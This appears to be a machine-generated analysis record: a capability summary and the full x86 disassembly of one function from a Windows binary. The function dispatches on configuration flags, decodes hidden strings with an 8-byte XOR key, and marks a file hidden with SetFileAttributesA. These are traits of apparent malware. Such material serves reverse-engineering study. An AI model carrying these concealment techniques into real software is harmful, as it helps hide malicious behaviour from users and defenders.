Function at 0x42f230
Capabilities:
Create thread
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b406
mov eax, dword fs:[0]
push eax
sub esp, 0x160
push ebx
push esi
push edi
mov eax, dword [0x6dd8d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0042e670
cmp dword [0x6ee218], 1
jne 0x42f26e
call fcn.0042e590
cmp dword [0x6ee27c], 0
jne 0x42f280
cmp dword [0x6ee284], 1
jne 0x42f285
call fcn.0042d880
cmp dword [0x6ee25c], 1
jne 0x42f293
call fcn.0040bc80
cmp dword [0x6ee288], 1
jne 0x42f2a1
call fcn.0040bd60
cmp dword [0x6ee228], 1
jne 0x42f2bc
push 0
push 0
push 0x40e1a0
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
cmp dword [0x6ee27c], 1
jne 0x42f2ca
call fcn.00427c50
cmp dword [0x6ee284], 0
je 0x42f2dd
call fcn.00427630
call fcn.0040b990
cmp dword [0x6ee290], 1
jne 0x42f2eb
call fcn.0041d3e0
cmp dword [0x6ee294], 1
jne 0x42f2f9
call fcn.0041dac0
cmp dword [0x6ee2c8], 1
jne 0x42f307
call fcn.0042f9a0
cmp dword [0x6ee274], 1
jne 0x42f315
call fcn.00429e60
cmp dword [0x6ee2bc], 1
jne 0x42f323
call fcn.0042c470
cmp dword [0x6ee2b4], 1
jne 0x42f33a
cmp dword [0x6ee224], 0
jne 0x42f33a
call fcn.0042dbf0
cmp dword [0x6ee204], 1
jne 0x42f7db
mov dword [ebp - 0x10], 0x5b51a0
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f3a2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f399
sub edi, ecx
lea ebx, [ebx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f380
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41d3b0
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040afa0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0x10], 0x5b51f0
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f413
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f40a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f3f1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41d3b0
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040afa0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [0x6ee264], 1
jne 0x42f559
mov dword [ebp - 0x10], 0x5b4c58
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f492
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f489
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f470
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x16c]
call fcn.0040c520
mov dword [ebp - 0x10], 0x5b4c80
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x42f502
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f4f9
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f4e0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0040afa0
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.0040a310
test eax, eax
jne 0x42f53b
push eax
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x16c]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x10c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c630
lea ecx, [ebp - 0x10c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6ee274], 1
jne 0x42f8bb
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
mov dword [ebp - 0x10], 0x5b4d04
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x42f5d5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f5cc
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f5b3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xc4]
call fcn.0040c520
mov dword [ebp - 0x10], 0x5b4d1c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x42f643
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f63a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f621
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040afa0
push dword [ebp - 0x14]
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0040afa0
mov dword [ebp - 0x10], 0x5b4d40
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f6c2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f6b9
sub edi, ecx
lea esp, [esp]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f6a0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040afa0
mov dword [ebp - 0x10], 0x5b4dc4
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f727
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f71e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f705
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040afa0
add esp, 8
lea ecx, [ebp - 0xc0]
call fcn.0040a310
test eax, eax
jne 0x42f760
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x10], 0x5b4e00
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f7b5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f7ac
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f793
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c630
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x42f8bb
cmp dword [0x6ee214], 1
jne 0x42f7e9
call fcn.0041ecd0
cmp dword [0x6ee260], 1
jne 0x42f7f7
call fcn.0042d5a0
cmp dword [0x6ee2b0], 1
jne 0x42f805
call fcn.0040f790
cmp dword [0x6ee21c], 1
jne 0x42f813
call fcn.0040cbe0
cmp dword [0x6ee298], 1
jne 0x42f821
call fcn.00421340
cmp dword [0x6ee220], 1
jne 0x42f82f
call fcn.0040d1d0
cmp dword [0x6ee2a4], 1
jne 0x42f83d
call fcn.00416f00
cmp dword [0x6ee29c], 1
jne 0x42f84b
call fcn.00410f00
cmp dword [0x6ee2a0], 1
jne 0x42f859
call fcn.00417820
cmp dword [0x6ee2a8], 1
jne 0x42f867
call fcn.004168c0
cmp dword [0x6ee258], 1
jne 0x42f875
call fcn.00410e40
cmp dword [0x6ee270], 1
jne 0x42f883
call fcn.0041f9f0
cmp dword [0x6ee24c], 1
jne 0x42f891
call fcn.0041c980
cmp dword [0x6ee2b8], 1
jne 0x42f89f
call fcn.0041c6d0
cmp dword [0x6ee2ac], 1
jne 0x42f8ad
call fcn.004202f0
cmp dword [0x6ee26c], 1
jne 0x42f8bb
call fcn.004208a0
cmp dword [0x6ee20c], 1
jne 0x42f8c9
call fcn.0042db60
cmp dword [0x6ee210], 1
jne 0x42f8d7
call fcn.00421320
cmp dword [0x6ee2c0], 1
jne 0x42f8e5
call fcn.0042db30
cmp dword [0x6ee224], 1
jne 0x42f901
cmp dword [0x6ee204], 0
jne 0x42f901
call fcn.0040f180
call fcn.0040f1a0
cmp dword [0x6ee254], 1
jne 0x42f916
push dword [0x6ee1dc]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6ee250], 1
jne 0x42f97b
mov dword [ebp - 0x10], 0x5b4e18
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42f974
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42f96b
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42f952
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6ee34c], 1
jne 0x42f989
call fcn.0042d890
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret